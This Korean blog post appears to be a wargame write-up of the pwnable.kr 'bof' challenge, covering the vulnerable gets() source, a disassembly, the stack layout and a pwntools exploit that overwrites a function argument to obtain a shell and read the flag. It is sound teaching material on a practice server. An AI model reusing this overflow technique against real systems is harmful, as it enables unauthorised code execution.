시스템 해킹 & 보안

[3] BOF - 함수 인자 조작 (Buffer Overflow) - pwnable.kr

ahhyun98 2025. 7. 4. 15:14

시스템 해킹 문제들

https://pwnable.kr/

 

https://pwnable.kr/

   there are flag   files corresponding to each challenges (similar to CTF), you need to read it and submit to pwnable.kr to get the corresponding point. in order to read the flag file, you need some skills regarding programming, reverse-engineering, bu

pwnable.kr

 

 

 

문제

 

pwnable.kr 서버의 9000번 포트에서 작동하는 bof 문제는 버퍼 오버플로우 취약점을 통해 함수 인자 값을 조작하고, 쉘을 획득하는 것이 핵심이다. 


소스코드 분석 (bof.c)

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);

    if(key == 0xcafebabe){
        system("/bin/sh");
    } else {
        printf("Nah..\n");
    }
}

int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

취약점 분석

  • gets() 함수는 버퍼 크기 제한 없이 입력을 받아 BOF가 발생한다. 
pwndbg> disassemble main
Dump of assembler code for function main:
   0x0000129d <+0>:     lea    ecx,[esp+0x4]
   0x000012a1 <+4>:     and    esp,0xfffffff0
   0x000012a4 <+7>:     push   DWORD PTR [ecx-0x4]
   0x000012a7 <+10>:    push   ebp
   0x000012a8 <+11>:    mov    ebp,esp
   0x000012aa <+13>:    push   ecx
   0x000012ab <+14>:    sub    esp,0x4
   0x000012ae <+17>:    call   0x12d5 <__x86.get_pc_thunk.ax>
   0x000012b3 <+22>:    add    eax,0x2d4d
   0x000012b8 <+27>:    sub    esp,0xc
   0x000012bb <+30>:    push   0xdeadbeef
   0x000012c0 <+35>:    call   0x11fd <func>
   0x000012c5 <+40>:    add    esp,0x10
   0x000012c8 <+43>:    mov    eax,0x0
   0x000012cd <+48>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x000012d0 <+51>:    leave  
   0x000012d1 <+52>:    lea    esp,[ecx-0x4]
   0x000012d4 <+55>:    ret    
End of assembler dump.
pwndbg>

 

overflowme (32 바이트) + padding(12바이트) + saved ebp(4 바이트) + return address(4 바이트) + key(4 바이트)

 

=> key 값(0xdeadbeef)를  0xcafebabe로 덮어 씌워야 한다. 


익스플로잇

from pwn import *

# 서버 연결
p = remote('pwnable.kr', 9000)
print("연결 성공!!")

# payload 생성
payload = b'A' * 52 + p32(0xcafebabe)

# payload 전송, 쉘 획득!
p.sendline(payload)
p.interactive()

 

결과

[*] Switching to interactive mode
$ ls
bof  bof.c  flag  ...
$ cat flag
daddy, I just pwned a buFFer :)

 

 

 

 

 

이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.

모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.